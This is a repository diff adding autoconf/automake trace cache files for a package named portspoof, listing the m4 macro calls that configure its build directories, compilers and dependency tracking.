m4trace:configure.in:11: -1- _AM_IF_OPTION([silent-rules], [AC_REQUIRE([AM_SILENT_RULES])])
|
||||
m4trace:configure.in:11: -2- _AM_MANGLE_OPTION([silent-rules])
|
||||
m4trace:configure.in:14: -1- m4_pattern_allow([^_GNU_SOURCE$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_cpu$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_vendor$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_os$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host_cpu$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host_vendor$])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host_os$])
|
||||
m4trace:configure.in:19: -1- m4_pattern_allow([^host$])
|
||||
m4trace:configure.in:24: -1- m4_pattern_allow([^LINUX$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXX$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXXFLAGS$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^LDFLAGS$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXX$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^ac_ct_CXX$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^EXEEXT$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^OBJEXT$])
|
||||
m4trace:configure.in:29: -1- _AM_DEPENDENCIES([CXX])
|
||||
m4trace:configure.in:29: -1- AM_SET_DEPDIR
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^DEPDIR$])
|
||||
m4trace:configure.in:29: -1- AM_OUTPUT_DEPENDENCY_COMMANDS
|
||||
m4trace:configure.in:29: -1- AM_MAKE_INCLUDE
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__include$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__quote$])
|
||||
m4trace:configure.in:29: -1- AM_DEP_TRACK
|
||||
m4trace:configure.in:29: -1- AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEP_TRUE$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEP_FALSE$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEP_TRUE])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEP_FALSE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEPBACKSLASH$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXXDEPMODE$])
|
||||
m4trace:configure.in:29: -1- AM_CONDITIONAL([am__fastdepCXX], [
|
||||
test "x$enable_dependency_tracking" != xno \
|
||||
&& test "$am_cv_CXX_dependencies_compiler_type" = gcc3])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__fastdepCXX_TRUE$])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__fastdepCXX_FALSE$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([am__fastdepCXX_TRUE])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([am__fastdepCXX_FALSE])
|
||||
m4trace:configure.in:30: -1- AM_PROG_CC_C_O
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CFLAGS$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^LDFLAGS$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^ac_ct_CC$])
|
||||
m4trace:configure.in:30: -1- _AM_DEPENDENCIES([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CCDEPMODE$])
|
||||
m4trace:configure.in:30: -1- AM_CONDITIONAL([am__fastdepCC], [
|
||||
test "x$enable_dependency_tracking" != xno \
|
||||
&& test "$am_cv_CC_dependencies_compiler_type" = gcc3])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^am__fastdepCC_TRUE$])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^am__fastdepCC_FALSE$])
|
||||
m4trace:configure.in:30: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_TRUE])
|
||||
m4trace:configure.in:30: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_FALSE])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^NO_MINUS_C_MINUS_O$])
|
||||
m4trace:configure.in:32: -1- m4_pattern_allow([^SET_MAKE$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPP$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPP$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^GREP$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^EGREP$])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^STDC_HEADERS$])
|
||||
m4trace:configure.in:38: -1- m4_pattern_allow([^HAVE_SYS_WAIT_H$])
|
||||
m4trace:configure.in:42: -1- m4_pattern_allow([^const$])
|
||||
m4trace:configure.in:43: -1- m4_pattern_allow([^size_t$])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_STDLIB_H$])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_MALLOC$])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_MALLOC$])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^LIB@&t@OBJS$])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^malloc$])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^LIB@&t@OBJS$])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^LTLIBOBJS$])
|
||||
m4trace:configure.in:50: -1- AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^am__EXEEXT_TRUE$])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^am__EXEEXT_FALSE$])
|
||||
m4trace:configure.in:50: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_TRUE])
|
||||
m4trace:configure.in:50: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_FALSE])
|
||||
m4trace:configure.in:50: -1- _AC_AM_CONFIG_HEADER_HOOK(["$ac_file"])
|
||||
m4trace:configure.in:50: -1- _AM_OUTPUT_DEPENDENCY_COMMANDS
|
512
autom4te.cache/traces.1
Normal file
512
autom4te.cache/traces.1
Normal file
@ -0,0 +1,512 @@
|
||||
m4trace:configure.in:7: -1- AC_INIT([portspoof], [1.0], [piotr[at]duszynski.eu])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?A[CHUM]_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([_AC_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^AS_FLAGS$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?m4_])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^dnl$])
|
||||
m4trace:configure.in:7: -1- m4_pattern_forbid([^_?AS_])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([SHELL])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([SHELL])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^SHELL$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PATH_SEPARATOR])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PATH_SEPARATOR])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PATH_SEPARATOR$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_NAME], [m4_ifdef([AC_PACKAGE_NAME], ['AC_PACKAGE_NAME'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_NAME])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_NAME$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_TARNAME], [m4_ifdef([AC_PACKAGE_TARNAME], ['AC_PACKAGE_TARNAME'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_TARNAME])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_VERSION], [m4_ifdef([AC_PACKAGE_VERSION], ['AC_PACKAGE_VERSION'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_VERSION])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_VERSION$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_STRING], [m4_ifdef([AC_PACKAGE_STRING], ['AC_PACKAGE_STRING'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_STRING])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_STRING$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_BUGREPORT], [m4_ifdef([AC_PACKAGE_BUGREPORT], ['AC_PACKAGE_BUGREPORT'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_BUGREPORT])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([PACKAGE_URL], [m4_ifdef([AC_PACKAGE_URL], ['AC_PACKAGE_URL'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([PACKAGE_URL])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_URL$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([exec_prefix], [NONE])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([exec_prefix])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^exec_prefix$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([prefix], [NONE])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([prefix])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^prefix$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([program_transform_name], [s,x,x,])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([program_transform_name])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^program_transform_name$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([bindir], ['${exec_prefix}/bin'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([bindir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^bindir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([sbindir], ['${exec_prefix}/sbin'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([sbindir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sbindir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([libexecdir], ['${exec_prefix}/libexec'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([libexecdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^libexecdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([datarootdir], ['${prefix}/share'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([datarootdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^datarootdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([datadir], ['${datarootdir}'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([datadir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^datadir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([sysconfdir], ['${prefix}/etc'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([sysconfdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sysconfdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([sharedstatedir], ['${prefix}/com'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([sharedstatedir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^sharedstatedir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([localstatedir], ['${prefix}/var'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([localstatedir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^localstatedir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([includedir], ['${prefix}/include'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([includedir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^includedir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([oldincludedir], ['/usr/include'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([oldincludedir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^oldincludedir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([docdir], [m4_ifset([AC_PACKAGE_TARNAME],
|
||||
['${datarootdir}/doc/${PACKAGE_TARNAME}'],
|
||||
['${datarootdir}/doc/${PACKAGE}'])])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([docdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^docdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([infodir], ['${datarootdir}/info'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([infodir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^infodir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([htmldir], ['${docdir}'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([htmldir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^htmldir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([dvidir], ['${docdir}'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([dvidir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^dvidir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([pdfdir], ['${docdir}'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([pdfdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^pdfdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([psdir], ['${docdir}'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([psdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^psdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([libdir], ['${exec_prefix}/lib'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([libdir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^libdir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([localedir], ['${datarootdir}/locale'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([localedir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^localedir$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([mandir], ['${datarootdir}/man'])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([mandir])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^mandir$])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_NAME])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_NAME$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_NAME], [/* Define to the full name of this package. */
|
||||
@%:@undef PACKAGE_NAME])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_TARNAME])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_TARNAME], [/* Define to the one symbol short name of this package. */
|
||||
@%:@undef PACKAGE_TARNAME])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_VERSION])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_VERSION$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_VERSION], [/* Define to the version of this package. */
|
||||
@%:@undef PACKAGE_VERSION])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_STRING])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_STRING$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_STRING], [/* Define to the full name and version of this package. */
|
||||
@%:@undef PACKAGE_STRING])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_BUGREPORT])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_BUGREPORT], [/* Define to the address where bug reports for this package should be sent. */
|
||||
@%:@undef PACKAGE_BUGREPORT])
|
||||
m4trace:configure.in:7: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_URL])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^PACKAGE_URL$])
|
||||
m4trace:configure.in:7: -1- AH_OUTPUT([PACKAGE_URL], [/* Define to the home page for this package. */
|
||||
@%:@undef PACKAGE_URL])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([DEFS])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([DEFS])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^DEFS$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([ECHO_C])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([ECHO_C])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_C$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([ECHO_N])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([ECHO_N])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_N$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([ECHO_T])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([ECHO_T])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^ECHO_T$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([LIBS])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([LIBS])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([build_alias])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([build_alias])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^build_alias$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([host_alias])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([host_alias])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^host_alias$])
|
||||
m4trace:configure.in:7: -1- AC_SUBST([target_alias])
|
||||
m4trace:configure.in:7: -1- AC_SUBST_TRACE([target_alias])
|
||||
m4trace:configure.in:7: -1- m4_pattern_allow([^target_alias$])
|
||||
m4trace:configure.in:8: -1- AC_CONFIG_AUX_DIR([auto])
|
||||
m4trace:configure.in:11: -1- AM_INIT_AUTOMAKE([portspoof], [1.0])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AM_[A-Z]+FLAGS$])
|
||||
m4trace:configure.in:11: -1- AM_AUTOMAKE_VERSION([1.11.1])
|
||||
m4trace:configure.in:11: -1- AC_REQUIRE_AUX_FILE([install-sh])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([INSTALL_PROGRAM])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([INSTALL_PROGRAM])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_PROGRAM$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([INSTALL_SCRIPT])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([INSTALL_SCRIPT])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_SCRIPT$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([INSTALL_DATA])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([INSTALL_DATA])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_DATA$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([am__isrc], [' -I$(srcdir)'])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([am__isrc])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__isrc$])
|
||||
m4trace:configure.in:11: -1- _AM_SUBST_NOTMAKE([am__isrc])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([CYGPATH_W])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([CYGPATH_W])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^CYGPATH_W$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([PACKAGE], [portspoof])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([PACKAGE])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^PACKAGE$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([VERSION], [1.0])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([VERSION])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^VERSION$])
|
||||
m4trace:configure.in:11: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^PACKAGE$])
|
||||
m4trace:configure.in:11: -1- AH_OUTPUT([PACKAGE], [/* Name of package */
|
||||
@%:@undef PACKAGE])
|
||||
m4trace:configure.in:11: -1- AC_DEFINE_TRACE_LITERAL([VERSION])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^VERSION$])
|
||||
m4trace:configure.in:11: -1- AH_OUTPUT([VERSION], [/* Version number of package */
|
||||
@%:@undef VERSION])
|
||||
m4trace:configure.in:11: -1- AC_REQUIRE_AUX_FILE([missing])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([ACLOCAL])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([ACLOCAL])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^ACLOCAL$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([AUTOCONF])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([AUTOCONF])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOCONF$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([AUTOMAKE])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([AUTOMAKE])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOMAKE$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([AUTOHEADER])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([AUTOHEADER])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AUTOHEADER$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([MAKEINFO])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([MAKEINFO])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^MAKEINFO$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([install_sh])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([install_sh])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^install_sh$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([STRIP])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([STRIP])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^STRIP$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([INSTALL_STRIP_PROGRAM])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([INSTALL_STRIP_PROGRAM])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^INSTALL_STRIP_PROGRAM$])
|
||||
m4trace:configure.in:11: -1- AC_REQUIRE_AUX_FILE([install-sh])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([MKDIR_P])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([MKDIR_P])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^MKDIR_P$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([mkdir_p], ["$MKDIR_P"])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([mkdir_p])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^mkdir_p$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([AWK])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([AWK])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AWK$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([SET_MAKE])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([SET_MAKE])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^SET_MAKE$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([am__leading_dot])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([am__leading_dot])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__leading_dot$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([AMTAR])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([AMTAR])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^AMTAR$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([am__tar])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([am__tar])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__tar$])
|
||||
m4trace:configure.in:11: -1- AC_SUBST([am__untar])
|
||||
m4trace:configure.in:11: -1- AC_SUBST_TRACE([am__untar])
|
||||
m4trace:configure.in:11: -1- m4_pattern_allow([^am__untar$])
|
||||
m4trace:configure.in:13: -1- AC_CONFIG_HEADERS([src/config.h])
|
||||
m4trace:configure.in:14: -1- AC_DEFINE_TRACE_LITERAL([_GNU_SOURCE])
|
||||
m4trace:configure.in:14: -1- m4_pattern_allow([^_GNU_SOURCE$])
|
||||
m4trace:configure.in:14: -1- AH_OUTPUT([_GNU_SOURCE], [/* Use GNU source */
|
||||
@%:@undef _GNU_SOURCE])
|
||||
m4trace:configure.in:18: -1- AC_CANONICAL_HOST
|
||||
m4trace:configure.in:18: -1- AC_CANONICAL_BUILD
|
||||
m4trace:configure.in:18: -1- AC_REQUIRE_AUX_FILE([config.sub])
|
||||
m4trace:configure.in:18: -1- AC_REQUIRE_AUX_FILE([config.guess])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([build], [$ac_cv_build])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([build])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([build_cpu], [$[1]])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([build_cpu])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_cpu$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([build_vendor], [$[2]])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([build_vendor])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_vendor$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([build_os])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([build_os])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^build_os$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([host], [$ac_cv_host])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([host])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([host_cpu], [$[1]])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([host_cpu])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host_cpu$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([host_vendor], [$[2]])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([host_vendor])
|
||||
m4trace:configure.in:18: -1- m4_pattern_allow([^host_vendor$])
|
||||
m4trace:configure.in:18: -1- AC_SUBST([host_os])
|
||||
m4trace:configure.in:18: -1- AC_SUBST_TRACE([host_os])
|
||||
